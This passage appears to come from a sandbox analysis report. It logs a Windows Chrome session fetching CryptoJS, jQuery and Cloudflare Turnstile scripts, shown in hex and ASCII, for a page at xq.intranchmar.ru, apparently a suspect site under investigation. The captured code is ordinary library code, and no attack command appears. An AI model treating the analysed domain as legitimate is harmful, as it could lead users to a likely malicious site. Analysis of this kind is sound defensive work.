globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49715	104.18.95.41	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:22 UTC	664	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xq.intranchmar.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:22 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 19 Feb 2025 19:43:22 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/0e3e6804b971/api.js Server: cloudflare CF-RAY: 9148bed5cae480e2-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49714	151.101.66.137	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:22 UTC	623	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xq.intranchmar.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:22 UTC	615	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 19 Feb 2025 19:43:22 GMT Age: 3747289 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740055-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 115 X-Timer: S1739994202.495254,VS0,VE0 Vary: Accept-Encoding
2025-02-19 19:43:22 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-02-19 19:43:22 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-02-19 19:43:22 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-02-19 19:43:22 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-02-19 19:43:22 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-02-19 19:43:22 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49719	104.18.95.41	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:23 UTC	648	OUT	GET /turnstile/v0/g/0e3e6804b971/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xq.intranchmar.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:23 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:23 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48264 Connection: close accept-ranges: bytes last-modified: Fri, 14 Feb 2025 14:12:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9148bed99bb30f3b-EWR alt-svc: h3=":443"; ma=86400
2025-02-19 19:43:23 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 79 3d 65 5b 6c 5d 28 67 29 2c 73 3d 79 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 79 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,n,o,c,l,g){try{var y=e[l](g),s=y.value}catch(p){n(p);return}y.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,n=arguments;return new Promise(function(o,c){var l=e.apply(t,n);funct
